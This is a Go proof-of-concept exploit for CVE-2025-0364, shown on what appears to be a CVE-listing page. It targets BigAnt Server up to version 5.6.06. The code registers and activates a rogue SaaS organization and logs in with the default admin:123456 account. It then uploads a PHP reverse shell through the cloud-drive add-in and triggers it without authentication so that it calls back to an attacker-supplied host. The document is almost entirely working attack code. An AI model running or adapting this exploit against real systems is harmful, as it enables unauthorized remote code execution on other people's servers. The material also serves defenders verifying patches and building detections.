4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2025-0364.go GO
package main

import (
	"fmt"
	"regexp"
	"strings"
	"time"

	"github.com/Masterminds/semver"
	"github.com/vulncheck-oss/go-exploit"
	"github.com/vulncheck-oss/go-exploit/c2"
	"github.com/vulncheck-oss/go-exploit/config"
	"github.com/vulncheck-oss/go-exploit/output"
	"github.com/vulncheck-oss/go-exploit/payload/reverse"
	"github.com/vulncheck-oss/go-exploit/protocol"
	"github.com/vulncheck-oss/go-exploit/random"
)

type BigAntSaaSRegRCE struct{}

// The ThinkPHP framework used here will ignore anything prepended to the paths.
var (
	versionLeakPage         = `/index.php/Ms/Public/about.html`
	saasRegistrationLanding = `/index.php/Home/Saas/reg_email.html`
	saasCaptchaPNG          = `/index.php/Home/Public/verify`
	saasRegistration        = `/index.php/Home/Saas/reg_saas` // POST
	saasSetCookie           = `/index.php/Home/Login/index.html`
	saasGetSSID             = `/index.php/Demo/Api/index.html`
	saasActivate            = `/index.php/Home/Saas/reg_activation`    // POST
	saasAddinAuth           = `/index.php/Addin/Login/login_post.html` // POST
	saasAddinGetPath        = `/Addin/pan/root.html`
	saasAddinUploadPHP      = `/index.php/Pan/upload/upload/clientid/1.html?flag=input&isRename=0` // POST multipart
	saasAddinTriggerPHP     = `/data/%s/pan/%s/%s/%s`
	// Example:                /data/122C8BFA-BD74-9668-BE31-EA159FB2C437/pan/5769ED19-25A9-57BB-A815-724E1E3B68FC/2025-01-08/test2.php.
)

var (
	captchaHashRegex = regexp.MustCompile(`name="__hash__" content="([a-f0-9]+_[a-f0-9]+)" /><meta`)
	demoSSIDRegex    = regexp.MustCompile(`<input type="text" name="ssid" value="([0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12})">`)
	addinRootIDRegex = regexp.MustCompile(`<li .*url="/index.php/Addin/pan/doc/root_id/([0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12})/clientid/.*.html" onclick="openUrl`)
)

func generatePayload(conf *config.Config) (string, bool) {
	generated := ""

	switch conf.C2Type {
	case c2.SSLShellServer:
		generated = reverse.PHP.Unflattened(conf.Lhost, conf.Lport, true)
	case c2.SimpleShellServer:
		generated = reverse.PHP.Unflattened(conf.Lhost, conf.Lport, false)
	default:
		output.PrintError("Invalid payload")

		return generated, false
	}

	return generated, true
}

func (sploit BigAntSaaSRegRCE) ValidateTarget(conf *config.Config) bool {
	// should redirect to /index.php/Home/login/index.html
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
	resp, body, ok := protocol.HTTPSendAndRecv("GET", url, "")
	if !ok || resp == nil {
		return false
	}
	if resp.StatusCode != 200 || !strings.Contains(body, `<title>BigAnt Admin </title>`) {
		return false
	}

	return true
}

func (sploit BigAntSaaSRegRCE) CheckVersion(conf *config.Config) exploit.VersionCheckType {
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, versionLeakPage)
	resp, body, ok := protocol.HTTPSendAndRecv("GET", url, "")
	if !ok || resp == nil {
		return exploit.Unknown
	}
	if resp.StatusCode != 200 || !strings.Contains(body, `<label class="control-label">Operating System</label>`) {
		return exploit.Unknown
	}
	res := regexp.MustCompile(`Version</label>\s+<div class="control-value">\s+(\d+\.\d+\.\d+)\s+</div>`).FindStringSubmatch(body)
	if len(res) == 0 {
		return exploit.Unknown
	}

	version := res[1]
	exploit.StoreVersion(conf, version)
	semVersion, err := semver.NewVersion(version)
	if err != nil {
		output.PrintError(err.Error())

		return exploit.Unknown
	}

	vulnVersions, err := semver.NewConstraint("<= 5.6.06")
	if err != nil {
		output.PrintDebug(err.Error())

		return exploit.Unknown
	}
	if !vulnVersions.Check(semVersion) {
		return exploit.NotVulnerable
	}

	return exploit.Vulnerable
}

func getSaaSRegistration(conf *config.Config) (string, string, string, bool) {
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasRegistrationLanding)
	// Do not cache, we need fresh requests each time
	resp, body, ok := protocol.HTTPSendAndRecv("GET", url, "")
	if !ok || resp == nil {
		output.PrintfError("RunExploit failed, the required registration page needed for exploitation is not available: resp=%#v body=%q", resp, body)
		return "", "", "", false
	}
	if resp.StatusCode != 200 || !strings.Contains(body, `<div class="form-header">Company Register</div>`) {
		output.PrintfError("RunExploit failed, the required registration page needed for exploitation is not available: resp=%#v body=%q", resp, body)

		return "", "", "", false
	}
	matches := captchaHashRegex.FindStringSubmatch(body)
	if len(matches) < 2 {
		output.PrintError("Could not find CAPTCHA hashes in request")

		return "", "", "", false
	}

	// check above should handle nil case
	hash := matches[1]
	url = protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasCaptchaPNG)
	session := ""
	for _, cookie := range resp.Cookies() {
		if cookie.Name == "PHPSESSID" {
			// .String() can't be used since it adds path
			session = cookie.Value
		}
	}
	if session == "" {
		output.PrintError("Session value is expected")

		return "", "", "", false
	}

	return hash, session, url, true
}

func registerSaaSOrg(name, email, password string, conf *config.Config) bool {
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasRegistration)
	headers := map[string]string{
		"Cookie":       "PHPSESSID=" + conf.GetStringFlag("captcha-session") + ";",
		"Content-Type": "application/x-www-form-urlencoded",
	}
	params := map[string]string{
		"saas_showname": name,
		"saas_name":     name,
		"saas_pwd":      password,
		"org_email":     email,
		"verify":        strings.ToUpper(conf.GetStringFlag("captcha")),
		"__hash__":      conf.GetStringFlag("captcha-hash"),
	}
	// Needs double, so just prepend __hash_ twice
	paramString := protocol.CreateRequestParams(params) + "&__hash__=" + conf.GetStringFlag("captcha-hash")
	resp, _, ok := protocol.HTTPSendAndRecvWithHeaders("POST", url, paramString, headers)
	if resp == nil {
		return false
	}

	// Response always returns a 200 without content in my tests and has no indication of success
	// beyond some timing differences.
	if resp.StatusCode != 200 {
		return false
	}

	return ok
}

func setSessionSaaSOrg(org string, conf *config.Config) (string, bool) {
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasSetCookie)
	headers := map[string]string{
		"Cookie": "saas=" + org,
	}
	resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("GET", url, "", headers)
	if !ok || resp == nil {
		output.PrintfError("RunExploit failed, the required login page needed for exploitation is not available: resp=%#v body=%q", resp, body)

		return "", false

	}
	if resp.StatusCode != 200 {
		output.PrintfError("RunExploit failed, the required login page needed for exploitation is not available: resp=%#v body=%q", resp, body)

		return "", false
	}

	for _, cookie := range resp.Cookies() {
		if cookie.Name == "PHPSESSID" {
			return cookie.Value, true
		}
	}

	return "", false
}

func getSaaSIDFromDemo(session, org string, conf *config.Config) (string, bool) {
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasGetSSID)
	headers := map[string]string{
		"Cookie": "PHPSESSID=" + session + "; saas=" + org + ";",
	}
	resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("GET", url, "", headers)
	if !ok || !strings.Contains(body, `user/add【新增人员】`) {
		output.PrintfError("RunExploit failed, the required demo page needed for exploitation is not available: resp=%#v", resp)

		return "", false
	}
	matches := demoSSIDRegex.FindStringSubmatch(body)
	// There will be lots for these (81 in my tests)
	if len(matches) < 2 {
		output.PrintError("Could not find demo SSID hashes in request")

		return "", false
	}

	return matches[1], true
}

func activateSaaSOrg(session, ssid string, conf *config.Config) bool {
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasActivate)
	headers := map[string]string{
		"Cookie": "PHPSESSID=" + session + ";",
	}
	params := map[string]string{
		"saas_id": ssid,
	}
	resp, body, ok := protocol.HTTPSendAndRecvURLEncodedParamsAndHeaders("POST", url, params, headers)
	if !ok || resp == nil {
		output.PrintfError("RunExploit failed, the org activation failed: resp=%#v", resp)

		return false
	}
	if resp.StatusCode != 200 {
		output.PrintfError("RunExploit failed, the org activation failed: resp=%#v", resp)

		return false
	}

	if !strings.Contains(body, `<p class="success">Activate successfully</p>`) {
		output.PrintfError("Activation of the organization failed: body=%s", body)

		return false
	}

	return true
}

func authenticateAddin(session, name, password string, conf *config.Config) bool {
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasAddinAuth)
	headers := map[string]string{
		"Cookie": "PHPSESSID=" + session + "; saas=" + name + ";",
	}
	params := map[string]string{
		"saas":     name,
		"account":  "admin",
		"password": password,
		"to":       "addin",
		"referer":  "",
		"submit":   "",
	}
	resp, body, ok := protocol.HTTPSendAndRecvURLEncodedParamsAndHeaders("POST", url, params, headers)
	if !ok || resp == nil {
		output.PrintfError("RunExploit failed, the addin authentication failed: resp=%#v", resp)

		return false
	}

	if resp.StatusCode != 200 {
		output.PrintfError("RunExploit failed, the addin authentication failed: resp=%#v", resp)

		return false
	}

	if !strings.Contains(body, `<p class="success">登入成功!载入中...</p>`) {
		output.PrintfError("RunExploit failed, the addin authentication failed: body=%s", body)

		return false
	}

	return true
}

func getAddinPath(session, org string, conf *config.Config) (string, bool) {
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasAddinGetPath)
	headers := map[string]string{
		"Cookie": "PHPSESSID=" + session + "; saas=" + org + ";",
	}
	resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("GET", url, "", headers)
	if !ok || resp == nil {
		output.PrintfError("RunExploit failed, the addin page visit failed: resp=%#v", resp)

		return "", false
	}
	if resp.StatusCode != 200 {
		output.PrintfError("RunExploit failed, the addin page visit failed: resp=%#v", resp)

		return "", false
	}

	matches := addinRootIDRegex.FindStringSubmatch(body)
	if len(matches) < 2 {
		output.PrintError("Could not find the root UUID for the addin")

		return "", false
	}

	return matches[1], true
}

func uploadPayload(session, name, root, orgSSID, filename, generated string, conf *config.Config) (string, bool) {
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasAddinUploadPHP)
	form, w := protocol.MultipartCreateForm()
	protocol.MultipartAddFile(w, "file_input[]", filename, "application/x-php", generated)
	protocol.MultipartAddField(w, "root_id", root)
	protocol.MultipartAddField(w, "folder_id", "0")
	protocol.MultipartAddField(w, "folder_path_id", "")
	protocol.MultipartAddField(w, "folder_path_name", "")
	protocol.MultipartAddField(w, "user_id", "1")
	protocol.MultipartAddField(w, "user_name", "System Admin")
	protocol.MultipartAddField(w, "saas_id", orgSSID)
	protocol.MultipartAddField(w, "saas_dbname", "antdbms_"+name)
	protocol.MultipartAddField(w, "client_id", "1")
	protocol.MultipartAddField(w, "platform", "phone")
	protocol.MultipartAddField(w, "isRename", "1")
	w.Close()
	headers := map[string]string{
		"Content-Type": w.FormDataContentType(),
		"Cookie":       "PHPSESSID=" + session + "; saas=" + name + ";",
	}
	resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", url, form.String(), headers)
	if !ok || resp == nil {
		output.PrintfError("RunExploit failed, the addin upload failed: resp=%#v", resp)

		return "", false
	}
	if resp.StatusCode != 200 {
		output.PrintfError("RunExploit failed, the addin upload failed: resp=%#v body=%s", resp, body)

		return "", false
	}

	if strings.Contains(body, filename) {
		serverDate, err := time.Parse(time.RFC1123, resp.Header.Get("Date"))
		if err != nil {
			output.PrintfDebug("Date parse error: %s", err.Error())
		}
		if serverDate.IsZero() {
			serverDate = time.Now()
		}

		return serverDate.Format("2006-01-02"), true
	}

	return "", false
}

func triggerPayload(orgSSID, root, date, filename string, conf *config.Config) bool {
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, fmt.Sprintf(saasAddinTriggerPHP, orgSSID, root, date, filename))
	output.PrintfStatus("Requesting final payload at: %s", url)
	_, _, ok := protocol.HTTPSendAndRecv("GET", url, "")

	return ok
}

func (sploit BigAntSaaSRegRCE) RunExploit(conf *config.Config) bool {
	// Steps for exploitation:
	//
	// 1. Get the CAPTCHA and CSRF tokens
	// 2. Solve CAPTCHA manually
	// 3. Register a new SaaS organization with 1 & 2 with generated settings, save cookies
	// 4. In a new session, request the login page with a `saas=` set to the new organization in 3
	// 5. Use the session cookie from 4 with the saas cookie still set to request the demo page that
	//    displays SaaS UUID
	// 6. Activate the registered organization with the UUID in 5
	// 7. Authenticate to the "Cloud Drive" page with the `admin:123456` account with the new org
	// 8. Get the Cloud Drive root IDs, UUIDs, and path information
	// 9. Upload a PHP reverse shell, note the paths and upload dates
	// 10. Trigger the PHP shell with the paths without auth

	if conf.GetStringFlag("captcha") == "" ||
		conf.GetStringFlag("captcha-hash") == "" ||
		conf.GetStringFlag("captcha-session") == "" {
		output.PrintStatus("CAPTCHA flags not set, retrieving captcha-hash")

		hash, session, url, ok := getSaaSRegistration(conf)
		if !ok {
			return false
		}

		output.PrintfStatus("Open the following page in a browser and solve the CAPTCHA: %s", url)
		output.PrintfStatus("Solve CAPTCHA and pass the following flags to this exploit: `-captcha-hash %s -captcha-session %s -captcha <SOLVED CAPTCHA>`", hash, session)

		// Still return false
		return false
	}

	name := strings.ToUpper(random.RandLetters(6))
	email := strings.ToLower(random.RandLetters(4) + `@` + random.RandLetters(8) + `.com`)
	password := conf.GetStringFlag("password")
	if password == "" {
		password = random.RandLetters(10)
		output.PrintfStatus("Password that will be used for authentication: %s", password)
	}
	output.PrintfStatus("Registering SaaS org: %s (%s) with password: %s", name, email, password)
	ok := registerSaaSOrg(name, email, password, conf)
	if !ok {
		return false
	}

	// Sets the SaaS org in a new session, this is necessary to get the UUID of the correct SaaS org
	// and if this isn't done it will always set the session to the first SaaS org in the database,
	// which is not a retrievable value by name.
	output.PrintStatus("Getting new PHP session and pinning the SaaS org to the session")
	orgSession, ok := setSessionSaaSOrg(name, conf)
	if !ok {
		return false
	}

	output.PrintfStatus("Retrieving org SSID from demo page with session %s", orgSession)
	orgSSID, ok := getSaaSIDFromDemo(orgSession, name, conf)
	if !ok {
		return false
	}
	output.PrintfStatus("Retrieved SSID for %s: %s", name, orgSSID)

	output.PrintStatus("Activating SaaS organization")
	ok = activateSaaSOrg(orgSession, orgSSID, conf)
	if !ok {
		return false
	}

	output.PrintStatus("Authenticating to the addin SaaS admin")
	ok = authenticateAddin(orgSession, name, password, conf)
	if !ok {
		return false
	}

	output.PrintStatus("Visiting SaaS addin cloud drive page")
	rootID, ok := getAddinPath(orgSession, name, conf)
	if !ok {
		return false
	}
	output.PrintfStatus("Got cloud drive root path UUID: %s", rootID)

	generated, ok := generatePayload(conf)
	if !ok {
		return false
	}

	filename := random.RandLetters(10) + ".php"

	output.PrintfStatus("Attempting to upload `%s` to cloud drive addin", filename)
	date, ok := uploadPayload(orgSession, name, rootID, orgSSID, filename, generated, conf)
	if !ok {
		return false
	}

	output.PrintStatus("Attempting to trigger final payload, timeout is expected after callback")

	return triggerPayload(orgSSID, rootID, date, filename, conf)
}

func main() {
	supportedC2 := []c2.Impl{
		c2.SSLShellServer,
		c2.SimpleShellServer,
	}
	conf := config.NewRemoteExploit(
		config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
		config.CodeExecution, supportedC2,
		"Bigantsoft", []string{"Bigant Server"},
		[]string{"cpe:2.3:a:bigantsoft:bigant_server"}, "CVE-2025-0364", "HTTP", 8000)

	conf.CreateStringFlag("captcha", "", "The registration page CAPTCHA value, if not set it will be retrieved along with the CAPTCHA image")
	conf.CreateStringFlag("captcha-hash", "", "The registration page CAPTCHA hash-id, if not set it will be retrieved along with the CAPTCHA image")
	conf.CreateStringFlag("captcha-session", "", "The registration session for CAPTCHA, if not set it will be retrieved along with the CAPTCHA image")
	conf.CreateStringFlag("password", "", "The password to set for the created administrator")
	sploit := BigAntSaaSRegRCE{}
	exploit.RunProgram(sploit, conf)
}